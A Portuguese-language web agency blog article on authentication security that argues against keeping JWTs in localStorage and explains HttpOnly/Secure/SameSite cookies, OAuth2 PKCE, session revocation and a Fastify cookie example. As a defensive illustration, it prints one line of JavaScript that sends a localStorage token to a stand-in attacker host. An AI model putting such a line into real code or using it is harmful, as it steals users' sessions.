JWTs vs Cookies de Sessão HttpOnly: Arquitetura de Autenticação OAuth2 PKCE

JWTs vs Cookies de Sessão HttpOnly: Arquitetura de Autenticação OAuth2 PKCE

A Armadilha do LocalStorage: Como as Aplicações Modernas Comprometeram a Segurança

Quando a indústria de desenvolvimento de software migrou em massa das páginas clássicas renderizadas no servidor para as aplicações de página única (SPAs) em React, Vue e Angular, espalhou-se um atalho perigoso na maioria dos tutoriais da internet:

  1. O teu frontend envia as credenciais do utilizador para a rota de login.
  2. O servidor valida a senha e devolve um token assinado (JWT).
  3. O teu código em JavaScript faz localStorage.setItem('token', jwt).
  4. Em cada pedido seguinte, o frontend lê o token do armazenamento local e adiciona-o ao cabeçalho Authorization: Bearer <token>.

Parecia a solução perfeita: sem sessões em base de dados e com separação total entre cliente e servidor.

Mas a realidade é que guardar credenciais no localStorage é um convite ao desastre. Qualquer script a correr no contexto do teu site tem acesso de leitura irrestrito a todo o conteúdo do localStorage. Se uma biblioteca instalada via npm sofrer um ataque à cadeia de fornecimento ou se tiveres uma pequena falha de XSS, o atacante rouba todas as contas ativas com um comando simples:

// Uma única linha de JavaScript malicioso rouba a sessão:
fetch('https://servidor-atacante.com/log?token=' + localStorage.getItem('token'));

ROUBO DE SESSÃO COM JWT GUARDADO NO LOCALSTORAGE

  • Browser do Utilizador (Contexto DOM)
  • Servidor do Atacante
  • Script de biblioteca externa comprometida executa: const sessao = window.localStorage.getItem(‘token’)
  • Envia o token para fora via fetch() → (Sessão Roubada!)
  • O atacante usa o JWT no computador dele: controlo total da conta sem palavra-passe!

Tal como documentado pela OWASP, o localStorage foi criado para guardar preferências visuais (como o modo escuro) e nunca para segredos de autenticação. Para desenhares web apps resilientes, tens de mudar de paradigma.

A Alternativa Inviolável: Cookies HttpOnly, Secure e SameSite

A verdadeira barreira de segurança para autenticação em browsers não é inventar formas de proteger dados em JavaScript, mas usar o cofre nativo do próprio motor do navegador:

  1. HttpOnly: Impede completamente que o JavaScript aceda ao cookie através do document.cookie. Mesmo que o teu site tenha uma vulnerabilidade grave de XSS, o atacante não consegue ler nem roubar o token de sessão.
  2. Secure: Força o browser a transmitir o cookie única e exclusivamente através de ligações HTTPS protegidas por TLS, impedindo escutas em redes Wi-Fi públicas.
  3. SameSite=Strict (ou Lax): Impede que o browser envie o cookie em pedidos que tenham origem noutros sites, neutralizando na raiz qualquer tentativa de ataque CSRF (Cross-Site Request Forgery).

ISOLAMENTO CRIPTOGRÁFICO DO COOKIE HTTPONLY

  • Ambiente do Browser
  • Servidor API
  • Motor de JavaScript (React / Vue / Svelte)
  • O invasor tenta: document.cookie
  • RESPOSTA: VAZIO! O token está invisível!
  • Pilha de Rede Isolada do Navegador
  • Guarda o cookie HttpOnly e Secure
  • O browser anexa o cookie automaticamente apenas em pedidos para a tua API — Com Cookie

Ao manteres as credenciais fora do alcance do motor de scripts da página, aplicas os fundamentos de anti-over-engineering: aproveitas os mecanismos robustos e testados da própria plataforma web em vez de criar camadas complexas e frágeis.

Proteger Clientes Públicos com o Fluxo OAuth2 PKCE

E quando a tua aplicação precisa de suportar autenticação federada (como login com Google, GitHub ou SSO empresarial) ou comunicar com aplicações móveis?

O fluxo tradicional do OAuth2 exigia um segredo estático (client_secret). Mas numa SPA ou numa app de telemóvel, qualquer utilizador experiente consegue inspecionar o código compilado e extrair esse segredo em segundos.

Para resolver este problema, o consórcio IETF definiu a extensão PKCE (Proof Key for Code Exchange, RFC 7636).

O PKCE substitui o segredo estático por uma validação criptográfica dinâmica criada a cada login:

  1. Code Verifier: O teu frontend gera uma string aleatória de alta entropia.
  2. Code Challenge: O cliente calcula o hash SHA-256 desse texto: BASE64URL(SHA256(code_verifier)).
  3. O pedido de autorização envia apenas o challenge.
  4. Na troca final do código pelos tokens, o frontend envia o verifier original. O servidor de autenticação confirma o cálculo e valida a identidade.

FLUXO OAUTH2 COM VALIDAÇÃO PKCE

  • Aplicação Frontend (SPA)
  • Servidor de Autenticação
    1. Cria o code_verifier e o code_challenge
    1. Envia GET /authorize com o code_challenge (Utilizador faz login)
    1. Redireciona com o código temporário ?code=xyz
    1. Envia POST /oauth/token com o code_verifier original (Valida se o hash bate certo com o challenge)
    1. Devolve o token em cookie HttpOnly protegido

Se um software espião interceptar o código temporário no caminho, não consegue fazer nada com ele porque não possui a chave secreta que ficou guardada na memória volátil da tua aplicação.

A Ilusão dos JWTs Sem Estado: Porque Precisas de Revogação Real

Muitos programadores defendem os JWTs porque “são stateless e não precisam de base de dados para serem verificados”.

No entanto, pensa no que acontece no dia a dia de uma empresa real:

  • Um colaborador é despedido e a equipa precisa de bloquear o acesso dele imediatamente.
  • Um utilizador clica em “Encerrar sessão em todos os dispositivos”.
  • Uma conta é suspensa por suspeita de fraude bancária.

Com um JWT tradicional puro, é matematicamente impossível revogar o acesso até que o prazo de validade termine. Para o cancelares antes do tempo, és obrigado a criar uma lista negra de tokens revogados no Redis—o que reintroduz a mesma consulta de base de dados que estavas a tentar evitar!

Nos nossos projetos de websites de alta performance, combinamos identificadores de sessão opacos ou tokens de curta duração em cookies HttpOnly com persistência controlada no servidor.

Vê como podes configurar os cookies no teu servidor em Node.js:

// src/rotas/autenticacao.ts
import { FastifyPluginAsync } from 'fastify';

export const rotasAutenticacao: FastifyPluginAsync = async (app) => {
  app.post('/api/auth/login', async (req, reply) => {
    // Valida os dados de acesso do utilizador...
    const sessaoId = await criarSessaoNoServidor(utilizador.id);

    // Emite o cookie HttpOnly blindado contra roubo
    reply.setCookie('sessao_id', sessaoId, {
      path: '/',
      httpOnly: true,        // INACESSÍVEL AO JAVASCRIPT!
      secure: true,          // EXCLUSIVO PARA HTTPS!
      sameSite: 'strict',    // PROTEÇÃO TOTAL CONTRA CSRF!
      maxAge: 60 * 60 * 24,  // Validade de 24 horas
    });

    return reply.status(200).send({ ok: true, utilizador: { email: utilizador.email } });
  });

  app.post('/api/auth/logout', async (req, reply) => {
    const sessaoId = req.cookies.sessao_id;
    if (sessaoId) {
      await revogarSessaoImediatamente(sessaoId); // Bloqueio instantâneo no servidor!
    }
    reply.clearCookie('sessao_id', { path: '/' });
    return reply.status(200).send({ sucesso: true });
  });
};

Podes complementar esta camada no Nginx para filtrar cabeçalhos suspeitos e garantir que os dados sensíveis nunca surgem nos registos de acesso. Podes explorar mais exemplos no GitHub.

Boas Práticas Operacionais: Rotação de Sessão e Prefixos de Cookies

Para assegurares que a tua infraestrutura cumpre as regras de segurança adotadas na WebXtek, aplica estas três recomendações:

  1. Faz Rotação do ID de Sessão no Login: Nunca reutilizes o mesmo identificador após o utilizador introduzir a palavra-passe. Gerar um novo ID impede que um invasor explore vulnerabilidades de fixação de sessão.
  2. Implementa Rotação de Famílias de Tokens: Se usares tokens de atualização (refresh tokens), deves emitir um novo a cada utilização. Se o servidor detetar que o mesmo token foi reaproveitado duas vezes, invalida de imediato toda a árvore de sessões dessa conta, pois significa que houve roubo de tráfego.
  3. Usa o Prefixo de Cookie __Host-: Ao nomeares o teu cookie como __Host-sessao_id, forças o motor do browser a exigir obrigatoriamente ligação HTTPS, proíbes a herança por subdomínios e bloqueias caminhos parciais.

Ao abandonares de vez o localStorage e adotares cookies HttpOnly com validação PKCE, blindas a tua plataforma contra o roubo massivo de contas e asseguras a tranquilidade dos teus utilizadores.

Na prática, aplicas exatamente estes padrões operacionais em setores exigentes como saas empresarial b2b e cibersegurança b2b e inteligência corporativa. Quando alinhas a tua estrutura através de web apps e websites de alta performance, transformas boas práticas técnicas numa vantagem competitiva real e mensurável para o teu negócio.

[+] [ INDEX_DIRECTORY ] 13 tópicos ▼
[ SYSTEM.FAQ ]

Perguntas Frequentes

Porque é que guardar tokens JWT no localStorage do browser é perigoso?

Qualquer script JavaScript que corra na tua aplicação web—incluindo bibliotecas de terceiros no npm ou injeções de XSS—consegue ler diretamente o conteúdo do window.localStorage. Um invasor rouba a sessão completa do teu utilizador com uma simples linha de código.

De que forma as opções HttpOnly, Secure e SameSite protegem a sessão?

A flag HttpOnly impede que o JavaScript leia o cookie no document.cookie. A flag Secure garante que o cookie viaja exclusivamente por ligações HTTPS cifradas. E a opção SameSite=Strict impede que o browser envie o cookie em pedidos vindos de sites externos, eliminando ataques de CSRF.

O que resolve o protocolo OAuth2 PKCE (Proof Key for Code Exchange)?

O PKCE elimina o roubo de códigos de autorização em aplicações públicas (como SPAs em React e apps móveis) que não conseguem guardar um segredo estático em segurança. Usa um par criptográfico dinâmico (code_verifier e code_challenge) para validar o cliente legítimo.

Um token JWT pode ser cancelado imediatamente se a conta de um utilizador for invadida?

Não. Como os JWTs tradicionais são stateless e verificados apenas pela assinatura matemática, continuam válidos até expirarem, a menos que cries uma lista de bloqueio no Redis, o que anula a suposta vantagem de não usar base de dados.

> INICIAR_PROJETO

Precisa de um website que transmita confiança, apareça na pesquisa e dê mais força à sua presença digital? Comece a conversa aqui.